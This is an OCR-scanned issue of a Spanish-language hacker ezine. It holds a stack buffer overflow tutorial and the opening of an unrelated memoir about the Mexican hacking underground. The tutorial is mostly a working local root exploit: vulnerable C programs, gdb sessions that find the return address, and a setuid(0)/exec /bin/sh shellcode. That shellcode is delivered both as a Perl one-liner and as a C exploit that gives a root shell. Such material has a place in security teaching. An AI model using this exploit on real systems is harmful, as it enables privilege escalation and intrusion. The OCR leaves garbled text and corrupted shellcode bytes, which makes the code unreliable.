memset (as, 'A', sizeof(as)-1);
as[24]=0;
strcpy (buf, as);
return 0;

Analicemos este cédigo:

1. Declaramos dos chars, uno llamado buf, y otro llamado as, este ultimo
17 bytes mas grande.

2. copiamos a as 24 veces 'A'

3. Copiamos as a buf

4. Retornamos 0.

Nota: este ejemplo no es explotable, ya que nosotros no podemos controlar
lo que hay en as.

Alguien ya vio el bug?, es un poquito obvio no?

Para los que no lo han visto, el bug aqui se encuentra entre el punto 1 y
el 3, estamos copiando as a buf, pero el problema es que en buf no va a
caber lo que hay en as, ya que as tiene mas informacidén de la que le cabe
a a buf. (Espero no haber confundido a nadie).

Ejecutémoslo, a ver que pasa:
sh-2.04$ ./bugl
Segmentation fault (core dumped)
sh-2.04%
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3.1. Porque pasa esto?, porque el programa lanza un segmentation fault?
Ok ok, espero que el lector ya haya comprendido porque es ocasionado
esto, pero ahora se preguntaran, "Y a donde se van esos 16 bytes de mas
que se copian?"

Aqui viene la parte mas importante de porque son explotables estos bugs.

Lo que pasa es que tenemos esto:

1. | as | AAAAAAAAAAAAAAAAAAAAAAAA |
2. | buf | |
| BUF | EBP | EIP |

- as contiene 24 Ases

- buf no contiene nada.

EBP tiene por ejemplo Oxbffff058
EIP tiene por ejemplo Oxbffff37e

después de copiar as a buf:

1. | as | AAAAAAAAAAAAAAAAAAAAAAAA |
2. | buf |AAAAAAAAA| AAAAAAAAAAAAAA Las deméds Ases caen en EBP y EIP
| BUF | EBP | EIP |

- as contiene 24 Ases
- buf contiene 10 Ases
- EBP tiene 0x41414141
- EIP tiene 0x41414141

A donde se van este montdén de Ases afuera del contexto?, es facil, se van
a los registros EBP y EIP, el registro EBP es el Frame pointer, pero no
es el que nos importa, el que nos importa en este momento es EIP, que
contiene la direccién de la instruccidén gque el programa va a regresar al
final del programa.

EBP y EIP cambiaron de uno a otro ya que cuando en buf no hubo cupo para
las demés Ases, se pasaron del contexto y fueron a sobrescribir estos dos
registros, (como ya deberiamos saber, cada direccidén de memoria es de 4
bytes), y especificamente cambio por 0x41414141 las dos vya que en
hexadecimal 0x4l1 es A, y como las direcciones son de 4 bytes, entonces
valen 0x41414141 (AAAA), para dejar mas en claro esto wultimo, si
hubiéramos puesto en as 'B' en lugar de 'A' EBP y EIP hubieran cambiado
por 0x42424242, 'C' en lugar de 'A', EBP y EIP serian 0x43434343, vy
asi...

Por esto mismo el programa truena, ya que como EIP tiene de direccidn
0x41414141, cuando termina trata de ejecutar lo que hay en esta
direccidén, y al no existir, y obviamente no tener nada, el programa lanza
segmentation fault (SIGSEGV).

Para comprobar esto wultimo, lo Unico gque necesitamos es usar un
debugger, en este caso gdb (GNU Debugger) :
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sh-2.04$% ./bugl

Segmentation fault (core dumped)

sh-2.04$ gdb -qg -c ./core

Core was generated by "./bugl’'.

Program terminated with signal 11, Segmentation fault.
#0 0x41414141 in 2?2? ()

(gdb) info registers ebp eip

ebp 0x41414141 0x41414141

eip 0x41414141 0x41414141

(gdb) x/x S$ebp

0x41414141: Cannot access memory at address 0x41414141
(gdb) x/x $eip

0x41414141: Cannot access memory at address 0x41414141
(gdb)

3.2. - Shellcodes

Un shellcode es una cadena de caracteres legible para el procesador que
ejecutan una o mas instrucciones.

Estoas instrucciones no los podemos pasar en texto plano, tenemos que
indicarle a EIP donde se encuentra este cédigo, primera, y segunda, este
cdédigo debe ser un cdéddigo entendible para nuestro procesador, para no
darle mas vueltas, este tan 1llamado "cbédigo" es mejor conocido como
shellcode, fue Dbautizado asi porque los ©primeros shellcodes eran
practicamente lo unico que hacian, lanzarte a una shell.

En la actualidad hay exploits que utilizan desde los shellcodes mas
simples hasta los mas complejos, desde los mas grandes hasta los mas
chicos, usan criptografia, NOPS-free, shellcodes polimorficos, ofuscados,
etc.

3.3. - Y para que nos sirve todo esto?

La respuesta es simple, si en un programa normal nosotros tenemos control
de la variable del stack que causa el buffer overflow, podemos poner en
EIP la direccidén de memoria de un shellcode que ejecute una instrucciodn
que nosotros gqueramos.

4. Y empieza lo bueno...

Bueno, si tienes dudas respecto a algo de lo anterior, te recomiendo que
vuelvas a leer, ya que aqui viene una parte en la cual necesitas las
bases que te mencione arriba, o mejor dicho, aqui viene la parte compleja

)

Ya sabemos todo esto, pero como lo podemos reproducir de manera real?,
bueno, primero que nada veamos bug2.c:

#include <stdio.h>
#include <unistd.h>

int main(int argc, char **argv) {
char buf[1024];
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if(argc != 2) return 0;

memset (buf, 0, sizeof (buf)) ;
strcpy (buf, argv([1]);

printf ("Escribiste $%s\n", buf);

Analicemos este programa:

1 - declara main con argumentos

2 - declara un char llamado buf de 1024 bytes

3 - si argc es diferente de dos, entonces retorna el programa (Si hay
mas de un argumento, entonces cierra el programa)

4 - llena buf de ceros

5 - copia a buf el argumento 1

6 - dime lo que escribi

Creo que el Dbug es mas claro aqui, el puntero de los argumentos,
declarado como argv, no tiene limite, asi que podemos desbordar buf
pasando mas de 1024 bytes:

shell$ gcc -o bug2 bug2.c

shell$ ./bug2 "Hola, como estas, Mi nombre es dex."

Escribiste Hola, como estas, Mi nombre es dex.

shell$ ./bug2 ‘perl -e 'print "A"x"1032"'®

Escribiste
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAA

Segmentation fault (Core dumped)

shells$

Nota: en 1las nuevas versiones de gcc, cuando declaras un array, el
compilador agrega 8 bytes mas para alinear y hacerlo mas rdpido, asi que
en lugar de 8 bytes mas usaremos 16.

Como podemos ver, el programa ha terminado anormalmente, pero 1lo
interesante viene si miramos el core:

shell$ gdb -g -c ./core

Core was generated by °./bug2
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

Program terminated with signal 11, Segmentation fault.
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#0 0x41414141 in 2? ()
(gdb) i r Seip

eip 0x41414141 0x41414141

(gdb) 1 r Sebp

ebp 0x41414141 0x41414141

(gdb) x/x $eip

0x41414141: Cannot access memory at address 0x41414141
(gdb) x/x Sebp

0x41414141: Cannot access memory at address 0x41414141
(gdb)

Como podemos ver, ha pasado lo que mencionaba unos puntos atras, el
registro de la instruccidén de retorno (eip) ha sido sobrescrito junto con
el frame pointer (ebp) por 0x41414141 (AAAA (4 bytes))

Para hacer esto mas fécil de entender, hagamos que S$eip apunte a
010111213 y $ebp apunte a 0x50505050:

shell$ ./bug2 ‘perl -e 'print "A"x"1032"; print "\x50\x50\x50\x50"; print
"\x13\x12\x11\x10"'" > /dev/null

Segmentation fault (core dumped)

shell$ gdb -g -c ./core

Core was generated by ' ./bug2
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

Program terminated with signal 11, Segmentation fault.
#0 0x10111213 in ?? ()
(gdb) i r ebp eip

ebp 0x50505050 0x50505050
eip 0x10111213 0x10111213
(gdb)

Esto tal vez este un poco confuso, lo voy a tratar de explicar.

Lo primero que hacemos es llamar a bug2, y con ayuda de perl en el
argumento 1 damos 1032 Ases y luego ponemos \x50\x50\x50\x50 que son 4
bytes, y se escribe como direccién de memoria, y luego escribimos
\x13\x12\x11\x10.

Quizés lo mas confuso aqui es esta ultima direccidén, porque en el log
sale como 0x10111213 si estamos escribiendo \x13\x12\x11\10?, bueno, esto
es porque en arquitecturas 1little endian como lo es intel, cuando
escribes una direccidén en notacidén \x se tienen que escribir al revez,
por ejemplo, si queremos escribir Oxdeadbeef en EIP tendriamos que poner
\xef\xbe\xad\xde (Entendieron?)

Ahora, porque ponemos 1032 Ases y luego 8 bytes mas? (\x13\x12\x11\x10 vy
\x50\x50\x50\x50) = 1040 si buf es de 102472, bueno, ya lo habia dicho en
una nota anterior, en los gcc's nuevos tenemos que poner 8 bytes mas, ya
que si declaras buf[10] el compilador va a hacer buf[l18], por razones de
alineamiento y velocidad, esto se puede medir simplemente fijandote con
el comando "info registers ebp eip" en gdb para calcular.

Bueno, ahora voy a poner un ejemplo de un shellcode:
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"\xb0\x31\xcd\x80\x89\xc3\x31\xc0\xb0\x17\xcd\x80"
"\x31\xdb\x31\xc0\xb0\x17\xcd\x80"
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x89\x46\x0c\x88\x46\x07"
"\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb"
"\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh";

Este shellcode lo hace setuid(0); y luego ejecuta /bin/sh, mas o menos es
para conseguir root en un exploit.

Ahora, como podemos ver, este shellcode mide 65 bytes, asi que como vamos
a usar 1040 bytes menos 8 de las direcciones de memoria, menos 65 del
shellcode, (1040 - 8 - 65 = 967) nos quedan 967 bytes libres... y... que
podemos hacer con ellos?, no tiene caso dejarlos libres, asi que los
rellenaremos con NOPS, que es un NOP?, un NOP es una instruccidén nula
para el procesador, o mejor dicho, una instruccidén para el procesador que
no contiene ninguna funcién o valor, y por eso llenamos estos 967 bytes
con NOPs, para que el procesador no haga nada si en la direccidén que cae
contiene en estos bytes y simplemente se salte a lo siguiente, en la
arquitectura intel \x90 o 0x90 es el nop.

Nota: Solo sobrescribimos EBP por si las dudas :)

Ok, entonces tenemos esto:

Buffer: 1040 bytes

- Direcciones de memoria a sobrescribir: 8 bytes
- Shellcode: 65 bytes

- NOPS: 967 bytes

buffer restante: 0

Woops!, vya llenamos todo el buffer, ya sabemos que hacer con los 967
bytes restantes, ya sabemos que shellcode usar, pero... QUE DIRECCIONES
VAMOS A PONER?

Bueno, hay una forma de hacerlo sacando la direccidén automdticamente de
%esp con una instruccién en ensamblador, gque usan muchos exploits
locales:
void get esp() {

asm ("movl S%esp, Seax");

Sin embargo, esta técnica no es completamente efectiva, y a mi en lo
general no me gusta usarla, la mayoria de las personas la usan cuando van
a publicar un exploit que funciona en diferentes binarios, porque si
recordamos, si compilas un binario y luego lo vuelves a compilar, las
direcciones del primero y del segundo van a ser diferentes.

Asi que, que podemos hacer para sacar la direccidén sin esta instruccidn?
Lo mas comUn es usar la direccidén de %esp(Que es precisamente lo que hace

esta funcidén de ensamblador), si, pero a mi no se me hace muy bueno, ya
que luego se tiene que estar haciendo bruteforce del offset, y/o a veces
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puede causar problemas con el alineamiento.

Bruteforce: Un programa adicional que va probando direccidén a direcciodn
disminuyéndolas hasta que el exploit funciona

Yo uso una técnica diferente, lo primero gque hago es esto:

sh-2.04$ ./bug?2 ‘perl -e 'print "A"x"967"; print "B"x"65"; print

"C"X"8"; re

Escribiste
AAAAAAAAAAAAAAAARAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAARAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAARAAAAAAAAARAAAAAAAAARAAAAAAAAAARAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAARAAAAAAAAARAAAAAAAAAAARAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAARAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAARAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAARAAAAAAAAARAAAAAAAAAARAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAARAAAAAAAAARAAAAAAAAAARAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAARAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAARAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAARAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAARAAAAAAAAAAAABBBBBBEBEBEBBBBBBBEBEBBBBBBBBEBEBEBBBBBBBBEBBEBBBBBBEBEBEBBBBBBBEBEB
BBBBBBBBBBCCCCcCccCC

Segmentation fault (core dumped)

sh-2.04$

Como vemos aqui:

1. Imprimimos 967 veces A (Como si fueran NOPS)

2. Imprimimos 65 veces B (Como si fuera el shellcode)

3. Imprimimos 8 veces C (como si fueran las dos direcciones de memoria)

Y como vimos, son los 1040 bytes, esto lo hago para sacar directamente
del core una direccién de memoria donde se encuentren los nops, en este
caso 0x41414141 ya que solo estamos haciendo pruebas:

sh-2.04$ gdb -qg -c ./core
Core was generated by °./bug2
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA!

Program terminated with signal 11, Segmentation fault.

#0 0x43434343 in ?? ()

(gdb) set $p=0xbffff000

(gdb) while (*Sp!=0x41414141)

>set $Sp=sp+1

>end

(gdb) x/10x Sp

Oxbffff340: 0x41414141 0x41414141 0x41414141
0x41414141

Oxbffff350: 0x41414141 0x41414141 0x41414141
0x41414141

Oxbffff360: 0x41414141 0x41414141

(gdb)
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Como podemos ver aqui, lo Gnico que hice fue:

1. - declarar un puntero con la direccién Oxbffff000

2. - mientras lo contenido en la direccién de p fuera diferente a
0x41414141, aumento p uno

Y como podemos ver, x/x $p (Que significa: Muéstrame lo que tiene $p!), o
en este caso x/10x (Muéstrame 10 direcciones empezando por lo que
contiene $p)

Entonces, llegamos hasta donde estarian nuestros NOPs, ahora podemos usar
cualquier direccién de por ahi, en este caso usemos Oxbffff350, como se
ve en

"Oxbffff350: 0x41414141 0x41414141 0x41414141

0x41414141"

Entonces, nuestro buffer quedaria asi:
| NOPS| SHELLCODE | Oxbffff350| 0xbffff350]

o transformado a la realidad en perl:

perl -e 'print "\x90"x"967"; print
"\xb0\x31\xcd\x80\x89\xc3\x31\xcO0\xb0\x17\xcd\x80\x
31 \xdb\x31\xc0\xb0\x17\xcd\x80\xeb\x1f\x5e\x89\x76\
x08\x31\xc0\x89\x46\x0c\x88\x46\x07\xb0\x0b\x89\xf3
\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x4
0\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh"; print
"\x50\xf3\xff\xbf"x"2""'

NOPs: print "\x90"x"967"

Shellcode: print
"\xb0\x31\xcd\x80\x89\xc3\x31\xc0\xb0\x17\xcd\x80\x31\xdb\x31\xc0\xb0\x17
\xcd\x80\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x89\x46\x0c\x88\x46\x07\xb0\x0b\
x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\x
de\xff\xff\xff/bin/sh";

Direcciones: print "\x50\xf3\xff\xbf"x"2"'

Total: 1040 bytes

Ahora, que tal si probamos esto?:

shellvieja$ sudo chown root.root ./bug2

shellvieja$ sudo chmod 4755 ./bugZ2

shellvieja$ ./bug2 ‘perl -e 'print "\x90"x"967"; print
"\xb0\x31\xcd\x80\x89\xc3\x31\xc0\xb0\x17\xcd\x80\x31\xdb\x31\xc0\xb0\x17
\xcd\x80\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x89\x46\x0c\x88\x46\x07\xb0\x0b\
x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\x
de\xff\xff\xff/bin/sh"; print "\x50\xf3\xff\xbf"x"2"'"
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Escribiste <basura>
<basura>
sh-2.04#

VOILA!, nos dio una shell nueva :)

Entonces, en si el exploit es:

./bug2 ‘perl -e 'print "\x90"x"967"; print
"\xb0\x31\xcd\x80\x89\xc3\x31\xc0\xb0\x17\xcd\x80\x31\xdb\x31\xc0\xb0\x17
\xcd\x80\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x89\x46\x0c\x88\x46\x07\xb0\x0b\
x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\x
de\xff\xff\xff/bin/sh"; print "\x50\xf3\xff\xbf"x"2"'"

Que, nunca habias visto un exploit desde shell?, jejeje, Si lo hacemos en
C es lo mismo, aunque no voy a explicar exactamente como funciona:

shellvieja$ gcc -o exploit exploit.c
shellvieja$ ./exploit
Escribiste

Te10%peieatiyyy/bin/shPSy: Poy
sh-2.04%

————————————— Exploit.C: ——=———————
#include <stdio.h>
int main(void) {

// Declaramos un puntero y usamos 1040 bytes para el
char *buf = (char *)malloc(1040);

// Declaramos shellcode

char shellcode[]=
"\xb0\x31\xcd\x80\x89\xc3\x31\xc0\xb0\x17\xcd\x80"
"\ x31\xdb\x31\xc0\xb0\x17\xcd\x80"
"\ xeb\x1f\x5e\x89\x76\x08\x31\xc0\x89\x46\x0c\x88\x46\x07"
"\xb0\x0b\x89\xr3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb"
"\ x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh";

// Declaramos la direccion del shellcode
unsigned long direccion=0xbffff350;
int 1i;

// Llenamos de NOPS el buffer
for(i=0,;,1<1040;1i+=4)
*(unsigned long *)&buf[i]=0x90909090;

// Ponemos las dos direcciones en el buffer
*(unsigned long *)&buf[1040 - 4]=direccion;
*(unsigned long *)&buf[1040 - 8]=direccion;

// Ponemos el shellcode en el buffer
memcpy (buf + 1040 - strlen(shellcode) - 8, shellcode, strlen(shellcode));
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// Ejecutamos ./bug? <buf>
execl ("./bug2", "bug2", buf, NULL);

return 0;

4.1. Unas dos ultimas cosas para la gente que esta acostumbrada o ha oido
hablar el align y/o el offset:

Un offset en un exploit es un entero que disminuye 1la direccién
dependiendo de su valor, por ejemplo, si la direccién del shellcode es
O0xbffff022 y le doy de offset 1 entonces ahora la direccidén sera
Oxbffff021, esto lo usa la gente para hacer bruteforce de la direccidn de
retorno, aunque yo no le veo el uso en un exploit local.

El align es lo que el mismo nombre dice, alinea el buffer, como sabemos
todas las direcciones de memoria y espacios son de 4 bytes, entonces si
el buffer es de 1023 por ejemplo, muchas veces si usamos algun tipo de
automatizacidén para encontrar la direccidén del shellcode puede que este
quede desalineado, vy necesitariamos disminuir los NOPs, para dque el
buffer acabe siendo divisible de 4.

5. Referencias:

1. Smashing the Stack for fun and profit:
http://www.phrack.com/show.php?p=49&a=14

2. Advanced buffer overflow exploits:
http://ohhara.4dl.com/security/adv.txt

3. Pagina de juliano: http://community.core-sdi.com/~juliano/

4. PA-RISC 1.1 Overflows: http://www.phrack.com/show.php?p=58&a=11

5. Exploiting Sparc Buffer overflows: http://genex.host.sk/textos/UNF-
sparc-overflow. txt

6. Ensamblador a 16 bits para nuevos: http://genex.host.sk/textos/asm.txt
7. wOOw00 on Heap overflows: http://genex.host.sk/textos/heaptut.txt

8. Debugging with GDB: http://genex.host.sk/textos/gdb.txt

9. The Art of Writing Shellcode: http://genex.host.sk/textos/art-
shellcode. txt

10. Writing Buffer overflows with Perl: http://genex.host.sk/textos/bofs-
withperl.txt

11. Designing shellcode demystified: http://genex.host.sk/textos/sc-
en.txt

12. buffer overflows en win32: http://genex.host.sk/textos/P55-15-

win32 overflow-es.txt

13. IRIX/MIPS shellcode: http://genex.host.sk/textos/P56-15-mips-irix-
shellcode-2.pdf

14. SPARC buffer overflows: http://genex.host.sk/textos/sparc-bofs.zip
15. Writing Suids (setuids): http://genex.host.sk/textos/writing-suids.ps
16. x86 registers: http://genex.host.sk/textos/x86regs.html

6. Despedida

Bueno, este texto no es cosa del otro mundo, pero espero gue mas O menos
te haya adentrado un poquito y/o hecho en interesarte en este tema.

Tratare de hacer una parte 2 para explicar todo lo que olvide y cosas que
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siguen, asi como ejemplos mas complejos.

También espero que la gente haya entendido bien como funciona todo esto,
ya que hacer un texto de esto no es tan féacil como lo creia :), espero

que sea entendible y no confunda a nadie, les agradeceria si me mandaran
su opinidén a mi mail.

Dudas, mentadas de madre, o lo que sea mandame un mail a dex@raza-
mexicana.org
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Proyecto Argelia
Por Fatal (fatal@raza-mexicana.org)

PROLOGO

“La vida es 1injusta, mucha gente se fija cordilleras por atravesar,
montanias por escalar, y cimas que conquistar, es un camino largo y
sinuoso, tierra de valientes y osados, el acometerse a la tarea de tomar
por asalto una cordillera trae consigo preparacién y determinacidén a no
ceder a las 1inclemencias que a Su paso sSe encuentren, las escarpadas
crestas de las montafias no dejaran trazo alguno de humanidad en 1os
débiles de fuerza y valor, los dias pasan, los meses igual, afos son 1los
que estas gentes cargan a sus espaldas, ello le da energias para no
dejarse vencer y principalmente para no tirar todo lo recorrido por una
ladera. Por desgracia muchos son 1los que siguen sin ver una cumbre que de
fin a sus esfuerzos, y no es que la lucha no haya sido férrea o que las
energias se hayan evaporado; Simplemente la historia no le tenia
reservado un nicho en la cima, su nombre no estaba inscrito en los anales
de los bienaventurados, la vida solo le jugo otra mala broma... simple y
llanamente alguien tomo las escaleras del costado posterior de esa
montana y tomo su lugar.”

Las cosas pintan a que esta generacidén esta exhalando sus ultimas
bocanadas de aire, era algo que ya se tenia previsto aunque para muchos
joévenes aun podria ser continuado, ah, dichosas esas febriles mentes que
aun no despiertan a la realidad, porque su crudeza los haria verse
sumergidos en la incredulidad. Solo un milagro va a levantar esta
generacién del llamado Underground Mexicano (Entiéndase por ello a todas
las ramificaciones de hacking, phreaking, cracking, etc.),
desafortunadamente soy ateo y no creo en una intervencidén divina o que
llegue un Mesias a levantar la situacidén actual por 1la dque esta
atravesando México, lamento desilusionarlos pero eso, sus 0Jjos, no 1lo
verdn. Dejémonos de suefios y fantasias, las cosas deben de seguir su
curso y ello es nacimiento, crecimiento, desarrollo y muerte, esta
generacidén esta a punto de llegar a su fin y todos debemos aceptarlo, tal
como subsistimos por afios de las etapas anteriores, asi debemos de
aceptar que llegamos al final. Esto, mas temprano que tarde, va a
terminar.

La historia... bueno, en realidad 1la historia es muy confusa, por la
cronologia y por la forma exacta en como se gesto el primer equipo del
orbe en México me es imposible explicarlo a ciencia cierta, ademas, la
historia siempre es contada de cabo a rabo por los vencedores y en este
caso todos salimos derrotados, pues no pudimos cumplir las expectativas
que se tenian contempladas. Eso sin contar que a esta generacidn, como a
todas indistintamente, 1la precedieron muchas otras, asi que vyo les
relatare la generacidén en la cual me toco vivir y el grupo en el que
participe, pues yo no soy nadie como para tocar generaciones que solo
conozco en papel, el meterme en ellas solo me haria caer en
incongruencias y errores. Esto sefiores, es lo que hoy vengo a relatarles.

-Hagalo en casa

Como la historia bien nos lo ha mostrado, todas las obras maestras vy
desastres catastréficos fueron concebidos al calor de las copas. La
receta es infalible, tan fécil como 1-2-3-4. 4 desgraciados, 2 cartones
repletos de cerveza, 1 que diga un disparate a la mitad de la undécima
botella y otros 3 que le hagan caso y brinden por esa mocién sellando el

42



www.raza-mexicana.org (ezinel4)

trato. Y asi fue, asi fue como se dio inicio al grupo mas famoso en la
corta historia del Underground Mexicano; Raza-Mexicana. No me gusta
colgarle milagritos y decir que fue el mejor o el mas temible y poderoso,
porque no lo fue, los eventos se fueron suscitando para que Raza-Mexicana
diera la 1lusidén de que fue el equipo mas destacado de los ultimos
tiempos, estos tiempos fueron los mas atinados para que Raza-Mexicana
siguiera el —camino de muchos tantos equipos y ©personas que le
antecedieron y siguiera vigente a pesar de los afios, de la gente y los
equipos que empezaron en el ultimo tramo de lo que autodenominé:
“Proyecto Argelia”.

Proyecto Argelia es el termino con el que nombre la etapa de desarrollo
en esta generacidén del Underground Mexicano (Si Carlos Salinas de Gortari
llamo a los afios dorados del PRI la Nomenklatura, porque no puedo marcar
esa linea de tiempo como mejor me convenga?), lo llame como tal aludiendo
a la metédfora que se encuentra en el contenido de este texto, no haré
falta que les explique el significado, pues al final de esta tragicomedia
sabrdan lo que cada una de esas 2 palabras significa para la linea del
tiempo de este relato.

Para esos entonces corria vya de pasada el afio 1995, como tal, el
Underground Mexicano se mantuvo como lo denomina ese anglicismo,
subterrdneo, apartado de la gente. Probablemente aqui, en este punto, fue
lo que trajo la debacle que ahora estamos viviendo, pues persiguiendo el
impulso a la conciencia general, los actores principales de esta
generacién fueron apilando a hordas de gentes, mismas que después serian
depuradas para quedar entre unos cuantos elegidos, ellos compartirian
entre todos la sabiduria, cual biblioteca publica, tales conocimientos,
tal experiencia solo podia ser transmitida de una manera libre, cual si
no la nueva herramienta que cobro auge en esos afios del México moderno;
Internet. Muchos afios me tomo el analizar cuan poderosa era esa arma,
como todos, pensé que era un método extremadamente facil de conseguir
informacidén, musica, pornografia y esparcimiento, jamads paso por mi mente
que un pobre mequetrefe como yo, su amable servidor y cronista, seria
parte de algo tan grande que en realidad era muy pequefio.

Mi pasado es tan turbio como el de la mayoria de wustedes, si pudiera
sostener el fiel de la balanza para saber a ciencia cierta como es que
alguien como yo llego hasta este dia para relatarles esta historia, la
inclinaria a favor de la falta de meritos, el llegar al lugar que alguna
vez tuve oportunidad de —compartir con Jjustos merecedores de tal
distincidén debid de haber sido otorgado a una persona, mas capacitado e
instruido que yo, con mas valores, con tesitud integra a sobreponerse a
todas las adversidades, garantes de la responsabilidad que ante ellos se
les entregaba... esa clase de personas y muchas mas, desfilaron ante mis
ojos. A cada una de ellas les fue negado un pedestal, mismo que habrian
usado para explotar lo mejor de ellos mismos y hacer que los demas que
les rodearian pudieran construir algo tan sélido que tendrian que pasar
afilos para que algo, siquiera, pudiera ser visto ante sus ojos como digno
de mencién y reconocimiento o pudiera ser Util para limpiar el barro de
los pies de aquellas deidades wungidas en tal halo de divinidad,
construido con sangre, espiritu y las vidas enteras de ellos dedicadas a
la gente, un poder usado benignamente y a la cosecha de la sabiduria.
Pamplinas.

Llegue al lugar que fui invitado, las cosas se dieron, los roles fueron
asignéndose, los naipes se repartieron, la fiel diosa de la mano derecha
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de Atenea siempre me dijo que ella solo era un mito, un albazo siempre
estuvo merodeando cual parca sobre mi testa, para terminar pronto; Nada
me fue regalado, solo luche por ver en que podia terminar una epopeya mas
en mi corta e infructifera vida. La respuesta es: Si. Si validé la pena no
bajar los brazos y estar hombro con hombro Jjunto con la gente que me
extendidé la mano cuando las cosas pintaban grises, a esa gente tengo aun
el honor de poder llamarlos amigos, la amistad de estas personas me
dejaron lecciones de vida que aun hoy, rigen parte de mi actuar y dieron
pie a ver las cosas desde distintos angulos para poder completar una idea
concreta sobre el piso en el que caminaria en este tramo de mi vida.
Destino? Para estos tiempos esa palabrita solo la usan los mercachifles,
guionistas de telenovelas y Carlos Cuauhtemoc Sénchez, autor de
“excrecentes” obras literarias auxiliares en la ardua tarea de prender el
piloto de un boiler mexicano.

-Gitanos, mercenarios y merolicos

Cual seria mi sorpresa que al entrar al circuito de hackers mexicanos me
encontraria con una plétora de personas, con intereses muy alejados de la
afinidad de lo que yo tenia idealizado en el marco de un hacker. La gama
iba desde hombres de familia con responsabilidades de trabajo, hogar e
inexplicables sesiones a altas horas de la madrugada frente a un monitor,
empresarios que se ostentaban como exitosos hombres de negocios de dia y
terror de el gobierno en su trinchera nocturna, pre-puberes cuyas edades
oscilaban entre los 11 y 15 afios tratando de tomar su lugar en el festin
que ante sus rostros se presentaba, gente que hablaba un extrafio
lenguaje, solo comprensible para los nativos de estas tierras a lo cual
